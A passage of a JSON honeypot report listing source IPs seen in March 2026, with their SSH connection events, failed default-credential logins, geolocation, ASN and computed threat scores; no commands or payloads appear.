        "last_seen_30d": "2026-03-27T06:39:29.059000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Dionaea": 5,
        "Cowrie": 4
      }
    },
    "14.103.115.117": {
      "attack_count": 4,
      "first_seen": "2026-03-04T17:25:58.367Z",
      "last_seen": "2026-03-04T17:27:58.370Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:25:58.367000+00:00",
        "last_seen_30d": "2026-03-04T17:38:00.540000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.170": {
      "attack_count": 4,
      "first_seen": "2026-03-08T23:02:17.260Z",
      "last_seen": "2026-03-08T23:02:20.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 29,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T20:55:52+00:00",
        "last_seen_30d": "2026-03-30T06:51:06.682000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 17,
        "Cowrie": 4
      }
    },
    "45.227.254.170": {
      "attack_count": 4,
      "first_seen": "2026-03-24T07:08:46.132Z",
      "last_seen": "2026-03-24T07:08:47.507Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": null,
      "asn": 267784,
      "as_org": "Flyservers S.A.",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:23:21.558000+00:00",
        "last_seen_30d": "2026-03-24T07:09:56.303000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Cowrie": 4
      }
    },
    "134.60.122.100": {
      "attack_count": 3,
      "first_seen": "2026-03-10T03:24:23.526Z",
      "last_seen": "2026-03-10T03:25:24.471Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Blaustein",
      "asn": 553,
      "as_org": "Universitaet Stuttgart",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T03:24:23.526000+00:00",
        "last_seen_30d": "2026-03-10T03:26:33.640000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "176.65.139.38": {
      "attack_count": 3,
      "first_seen": "2026-03-11T17:43:45.985Z",
      "last_seen": "2026-03-11T17:45:45.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:25:38.147000+00:00",
        "last_seen_30d": "2026-03-14T08:35:48.601000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 203,
        "Adbhoney": 50,
        "Honeyaml": 34,
        "Cowrie": 3
      }
    },
    "217.154.69.208": {
      "attack_count": 3,
      "first_seen": "2026-03-09T10:45:23.181Z",
      "last_seen": "2026-03-09T10:46:26.096Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:12:06.309000+00:00",
        "last_seen_30d": "2026-03-25T14:15:39.054000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 3
      }
    },
    "68.183.234.194": {
      "attack_count": 3,
      "first_seen": "2026-03-29T18:57:45.781Z",
      "last_seen": "2026-03-29T18:58:48.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T20:52:26+00:00",
        "last_seen_30d": "2026-03-29T22:14:02.262000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 4,
        "Cowrie": 3
      }
    },
    "84.234.99.18": {
      "attack_count": 3,
      "first_seen": "2026-03-07T05:12:07.005Z",
      "last_seen": "2026-03-07T05:14:07.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 51177,
      "as_org": "Tipzor Media Srl",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:12:07.005000+00:00",
        "last_seen_30d": "2026-03-07T05:16:29.539000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.162.123.15": {
      "attack_count": 2,
      "first_seen": "2026-03-14T07:12:29.162Z",
      "last_seen": "2026-03-14T07:12:42.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:12:29.162000+00:00",
        "last_seen_30d": "2026-03-14T07:13:44.177000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.38.212.250": {
      "attack_count": 2,
      "first_seen": "2026-03-05T18:00:48.852Z",
      "last_seen": "2026-03-05T18:01:02.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:00:48.852000+00:00",
        "last_seen_30d": "2026-03-05T18:02:12.304000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.210.238.129": {
      "attack_count": 2,
      "first_seen": "2026-03-03T19:13:36.783Z",
      "last_seen": "2026-03-03T19:13:50.269Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:13:36.783000+00:00",
        "last_seen_30d": "2026-03-03T19:14:59.013000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.211.39.101": {
      "attack_count": 2,
      "first_seen": "2026-03-23T18:31:30.393Z",
      "last_seen": "2026-03-23T18:31:30.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Canberra",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-22T09:33:07.437000+00:00",
        "last_seen_30d": "2026-03-31T18:40:10.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "122.118.221.189": {
      "attack_count": 2,
      "first_seen": "2026-03-30T15:39:23.010Z",
      "last_seen": "2026-03-30T15:39:40.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Miaoli",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T15:39:23.010000+00:00",
        "last_seen_30d": "2026-03-30T15:40:44.036000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.117.111.208": {
      "attack_count": 2,
      "first_seen": "2026-03-16T01:28:03.668Z",
      "last_seen": "2026-03-16T01:28:16.725Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:28:03.668000+00:00",
        "last_seen_30d": "2026-03-16T01:29:23.056000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.246.90": {
      "attack_count": 2,
      "first_seen": "2026-03-21T01:31:10.573Z",
      "last_seen": "2026-03-21T01:31:42.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Paul\u00ednia",
      "asn": 264323,
      "as_org": "OXMAN TECNOLOGIA LTDA",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:31:10.573000+00:00",
        "last_seen_30d": "2026-03-21T01:32:44.541000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.226.175.99": {
      "attack_count": 2,
      "first_seen": "2026-03-26T00:20:08.637Z",
      "last_seen": "2026-03-26T00:20:22.926Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:20:08.637000+00:00",
        "last_seen_30d": "2026-03-26T00:21:25.054000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.73": {
      "attack_count": 2,
      "first_seen": "2026-03-28T11:39:03.654Z",
      "last_seen": "2026-03-28T11:39:13.460Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:33:13+00:00",
        "last_seen_30d": "2026-03-31T21:07:48.227000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 45,
        "ConPot": 2,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "160.119.76.13": {
      "attack_count": 2,
      "first_seen": "2026-03-31T09:42:57.166Z",
      "last_seen": "2026-03-31T09:43:02.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.9,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 2,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-30T16:34:10+00:00",
        "last_seen_30d": "2026-03-31T22:42:33.238000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 12,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "170.83.126.253": {
      "attack_count": 2,
      "first_seen": "2026-03-18T04:03:17.682Z",
      "last_seen": "2026-03-18T04:03:48.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Posadas",
      "asn": 263774,
      "as_org": "MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:03:17.682000+00:00",
        "last_seen_30d": "2026-03-18T04:04:50.155000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.117.0.228": {
      "attack_count": 2,
      "first_seen": "2026-03-02T20:22:01.783Z",
      "last_seen": "2026-03-02T20:22:33.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kumertau",
      "asn": 51234,
      "as_org": "Telecompany Fialka Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:22:01.783000+00:00",
        "last_seen_30d": "2026-03-02T20:23:38.991000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.1": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:33:11.772Z",
      "last_seen": "2026-03-04T12:33:22.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T08:45:04+00:00",
        "last_seen_30d": "2026-03-31T22:57:22.050000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 24,
        "Cowrie": 2
      }
    },
    "197.44.114.250": {
      "attack_count": 2,
      "first_seen": "2026-03-07T15:22:13.106Z",
      "last_seen": "2026-03-07T15:22:26.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:22:13.106000+00:00",
        "last_seen_30d": "2026-03-07T15:23:29.240000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "210.89.34.113": {
      "attack_count": 2,
      "first_seen": "2026-03-03T14:32:05.255Z",
      "last_seen": "2026-03-03T14:32:36.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hoshi\u0101rpur",
      "asn": 134674,
      "as_org": "TATA PLAY BROADBAND PRIVATE LIMITED",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:32:05.255000+00:00",
        "last_seen_30d": "2026-03-03T14:33:44.443000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "222.251.219.20": {
      "attack_count": 2,
      "first_seen": "2026-03-20T09:39:54.550Z",
      "last_seen": "2026-03-20T09:40:10.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Osan",
      "asn": 23563,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:39:54.550000+00:00",
        "last_seen_30d": "2026-03-20T09:41:14.831000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.219.2.91": {
      "attack_count": 2,
      "first_seen": "2026-03-11T08:00:57.752Z",
      "last_seen": "2026-03-11T08:01:11.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T08:00:57.752000+00:00",
        "last_seen_30d": "2026-03-11T08:02:14.659000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.11.248": {
      "attack_count": 2,
      "first_seen": "2026-03-17T04:18:01.258Z",
      "last_seen": "2026-03-17T04:18:14.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Tunduma",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T04:18:01.258000+00:00",
        "last_seen_30d": "2026-03-17T04:19:23.868000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.4.91": {
      "attack_count": 2,
      "first_seen": "2026-03-15T21:04:00.813Z",
      "last_seen": "2026-03-15T21:04:13.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:04:00.813000+00:00",
        "last_seen_30d": "2026-03-15T21:05:16.058000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.50.206": {
      "attack_count": 2,
      "first_seen": "2026-03-15T23:33:02.573Z",
      "last_seen": "2026-03-15T23:33:15.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:33:02.573000+00:00",
        "last_seen_30d": "2026-03-15T23:34:21.456000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
